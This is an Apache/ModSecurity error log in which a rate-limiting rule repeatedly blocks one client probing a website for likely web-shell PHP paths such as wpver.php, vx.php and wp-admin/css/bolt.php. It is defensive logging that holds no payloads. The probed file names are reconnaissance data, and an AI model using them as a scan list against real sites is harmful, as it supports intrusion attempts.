[Sun Mar 01 13:26:20.176415 2026] [:error] [pid 41780:tid 41797] [client 158.158.52.178:19850] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaPN_MONkVoocLIqzy37uwAAA84"]
[Sun Mar 01 13:26:20.654846 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:31074] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaPN_IO1bqY181I02eFo8QAAAIU"]
[Sun Mar 01 13:26:21.131972 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:27105] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaPN_QfBuk03yQKDyqu_JAAAAcw"]
[Sun Mar 01 13:26:21.612929 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:30048] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaPN_fKRPk6YnJBxw_ztHgAAAM4"]
[Sun Mar 01 13:26:22.100307 2026] [:error] [pid 41780:tid 41806] [client 158.158.52.178:37448] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/X57.php"] [unique_id "aaPN_sONkVoocLIqzy37ygAAA9c"]
[Sun Mar 01 13:26:22.576263 2026] [:error] [pid 41780:tid 41793] [client 158.158.52.178:4472] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpver.php"] [unique_id "aaPN_sONkVoocLIqzy37zAAAA8o"]
[Sun Mar 01 13:26:23.053216 2026] [:error] [pid 41967:tid 41985] [client 158.158.52.178:21349] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpver.php"] [unique_id "aaPN_4O1bqY181I02eFo-gAAAJA"]
[Sun Mar 01 13:26:23.530681 2026] [:error] [pid 41967:tid 41989] [client 158.158.52.178:21321] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpver.php"] [unique_id "aaPN_4O1bqY181I02eFo_AAAAJQ"]
[Sun Mar 01 13:26:24.008247 2026] [:error] [pid 41967:tid 41970] [client 158.158.52.178:37435] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wpver.php"] [unique_id "aaPOAIO1bqY181I02eFo_wAAAIE"]
[Sun Mar 01 13:26:24.485431 2026] [:error] [pid 41967:tid 41971] [client 158.158.52.178:37442] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/hi.php"] [unique_id "aaPOAIO1bqY181I02eFpAwAAAII"]
[Sun Mar 01 13:26:24.961066 2026] [:error] [pid 41967:tid 41972] [client 158.158.52.178:27966] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/hi.php"] [unique_id "aaPOAIO1bqY181I02eFpBQAAAIM"]
[Sun Mar 01 13:26:25.437853 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:37487] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/hi.php"] [unique_id "aaPOAcONkVoocLIqzy37zwAAA8U"]
[Sun Mar 01 13:26:25.912930 2026] [:error] [pid 41967:tid 41981] [client 158.158.52.178:35500] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/hi.php"] [unique_id "aaPOAYO1bqY181I02eFpCAAAAIw"]
[Sun Mar 01 13:26:26.410013 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:27959] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z.php"] [unique_id "aaPOAvKRPk6YnJBxw_ztKAAAAME"]
[Sun Mar 01 13:26:26.893697 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:30032] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z.php"] [unique_id "aaPOAvKRPk6YnJBxw_ztKgAAAME"]
[Sun Mar 01 13:26:27.380823 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:37485] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z.php"] [unique_id "aaPOA_KRPk6YnJBxw_ztLQAAAME"]
[Sun Mar 01 13:26:27.866795 2026] [:error] [pid 41967:tid 41989] [client 158.158.52.178:27078] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/z.php"] [unique_id "aaPOA4O1bqY181I02eFpCwAAAJQ"]
[Sun Mar 01 13:26:28.343530 2026] [:error] [pid 40750:tid 40767] [client 158.158.52.178:34306] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaPOBAfBuk03yQKDyqu_LgAAAc4"]
[Sun Mar 01 13:26:28.833669 2026] [:error] [pid 40750:tid 40774] [client 158.158.52.178:37408] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaPOBAfBuk03yQKDyqu_LwAAAdU"]
[Sun Mar 01 13:26:29.309972 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:43417] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaPOBfKRPk6YnJBxw_ztMgAAAM4"]
[Sun Mar 01 13:26:29.793814 2026] [:error] [pid 41967:tid 41992] [client 158.158.52.178:27098] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vx.php"] [unique_id "aaPOBYO1bqY181I02eFpEQAAAJc"]
[Sun Mar 01 13:26:30.273023 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:25652] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wqqs.php"] [unique_id "aaPOBvKRPk6YnJBxw_ztMwAAAMk"]
[Sun Mar 01 13:26:30.761291 2026] [:error] [pid 41967:tid 41987] [client 158.158.52.178:27100] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wqqs.php"] [unique_id "aaPOBoO1bqY181I02eFpGAAAAJI"]
[Sun Mar 01 13:26:31.240271 2026] [:error] [pid 41967:tid 41990] [client 158.158.52.178:21362] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wqqs.php"] [unique_id "aaPOB4O1bqY181I02eFpGwAAAJU"]
[Sun Mar 01 13:26:31.732920 2026] [:error] [pid 41342:tid 41360] [client 158.158.52.178:25638] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wqqs.php"] [unique_id "aaPOB44iJ6RAS5CatDk5GAAAAg8"]
[Sun Mar 01 13:26:32.215046 2026] [:error] [pid 41780:tid 41805] [client 158.158.52.178:37431] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-318.php"] [unique_id "aaPOCMONkVoocLIqzy372AAAA9Y"]
[Sun Mar 01 13:26:32.691042 2026] [:error] [pid 41780:tid 41804] [client 158.158.52.178:34313] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-318.php"] [unique_id "aaPOCMONkVoocLIqzy372gAAA9U"]
[Sun Mar 01 13:26:33.188094 2026] [:error] [pid 41967:tid 41981] [client 158.158.52.178:43442] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-318.php"] [unique_id "aaPOCYO1bqY181I02eFpIwAAAIw"]
[Sun Mar 01 13:26:33.674447 2026] [:error] [pid 41967:tid 41989] [client 158.158.52.178:21354] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-318.php"] [unique_id "aaPOCYO1bqY181I02eFpJQAAAJQ"]
[Sun Mar 01 13:26:34.159238 2026] [:error] [pid 41967:tid 41990] [client 158.158.52.178:30044] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aaPOCoO1bqY181I02eFpJgAAAJU"]
[Sun Mar 01 13:26:34.663856 2026] [:error] [pid 40750:tid 40771] [client 158.158.52.178:43443] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aaPOCgfBuk03yQKDyqu_OAAAAdI"]
[Sun Mar 01 13:26:35.156174 2026] [proxy_fcgi:error] [pid 41967:tid 41991] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:35.402256 2026] [proxy_fcgi:error] [pid 41967:tid 41982] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:35.644551 2026] [proxy_fcgi:error] [pid 41967:tid 41978] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:35.890037 2026] [proxy_fcgi:error] [pid 41967:tid 41972] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:36.134168 2026] [proxy_fcgi:error] [pid 41967:tid 41992] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:36.377942 2026] [proxy_fcgi:error] [pid 41967:tid 41989] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:36.620781 2026] [proxy_fcgi:error] [pid 41967:tid 41980] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:36.863073 2026] [proxy_fcgi:error] [pid 41967:tid 41990] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:37.107060 2026] [proxy_fcgi:error] [pid 41967:tid 41991] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:37.597171 2026] [proxy_fcgi:error] [pid 41967:tid 41987] [client 158.158.52.178:4448] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 13:26:37.835451 2026] [:error] [pid 41967:tid 41982] [client 158.158.52.178:4448] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaPODYO1bqY181I02eFpOAAAAI0"]
[Sun Mar 01 13:26:38.343644 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:32313] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaPODsONkVoocLIqzy376gAAA8A"]
[Sun Mar 01 13:26:38.833019 2026] [:error] [pid 41342:tid 41358] [client 158.158.52.178:30068] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaPODo4iJ6RAS5CatDk5SAAAAg0"]
[Sun Mar 01 13:26:39.340694 2026] [:error] [pid 41342:tid 41345] [client 158.158.52.178:27090] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aaPOD44iJ6RAS5CatDk5TAAAAgA"]
[Sun Mar 01 13:26:39.824002 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:27947] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaPOD_KRPk6YnJBxw_ztUgAAAM4"]
[Sun Mar 01 13:26:40.305753 2026] [:error] [pid 41780:tid 41793] [client 158.158.52.178:27938] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaPOEMONkVoocLIqzy377gAAA8o"]
[Sun Mar 01 13:26:40.818891 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:37393] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaPOEPKRPk6YnJBxw_ztVQAAAM4"]
[Sun Mar 01 13:26:41.370741 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:43409] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaPOEfKRPk6YnJBxw_ztVwAAAM4"]
[Sun Mar 01 13:26:41.850822 2026] [:error] [pid 41342:tid 41362] [client 158.158.52.178:37474] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaPOEY4iJ6RAS5CatDk5VAAAAhE"]
[Sun Mar 01 13:26:42.415119 2026] [:error] [pid 41780:tid 41788] [client 158.158.52.178:27961] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaPOEsONkVoocLIqzy379QAAA8U"]
[Sun Mar 01 13:26:42.911951 2026] [:error] [pid 41780:tid 41792] [client 158.158.52.178:27091] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaPOEsONkVoocLIqzy379wAAA8k"]
[Sun Mar 01 13:26:43.397918 2026] [:error] [pid 41780:tid 41807] [client 158.158.52.178:32290] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaPOE8ONkVoocLIqzy37-gAAA9g"]
[Sun Mar 01 13:26:43.902320 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:37466] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaPOE_KRPk6YnJBxw_ztXAAAANI"]
[Sun Mar 01 13:26:44.418673 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:35461] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaPOFMONkVoocLIqzy38AAAAA8w"]
[Sun Mar 01 13:26:44.915179 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:27909] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaPOFPKRPk6YnJBxw_ztXQAAANI"]
[Sun Mar 01 13:26:45.412933 2026] [:error] [pid 41780:tid 41798] [client 158.158.52.178:32266] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaPOFcONkVoocLIqzy38AwAAA88"]
[Sun Mar 01 13:26:45.939886 2026] [:error] [pid 41780:tid 41786] [client 158.158.52.178:19883] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaPOFcONkVoocLIqzy38CAAAA8M"]
[Sun Mar 01 13:26:46.463438 2026] [:error] [pid 41967:tid 41988] [client 158.158.52.178:16933] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaPOFoO1bqY181I02eFpSQAAAJM"]
[Sun Mar 01 13:26:47.006499 2026] [:error] [pid 41780:tid 41801] [client 158.158.52.178:32275] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaPOF8ONkVoocLIqzy38DgAAA9I"]
[Sun Mar 01 13:26:47.501306 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:25649] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaPOF_KRPk6YnJBxw_ztYwAAAME"]
[Sun Mar 01 13:26:48.041236 2026] [:error] [pid 40750:tid 40767] [client 158.158.52.178:19899] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPOGAfBuk03yQKDyqu_WAAAAc4"]
[Sun Mar 01 13:26:48.582334 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:30017] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPOGAfBuk03yQKDyqu_WwAAAcw"]
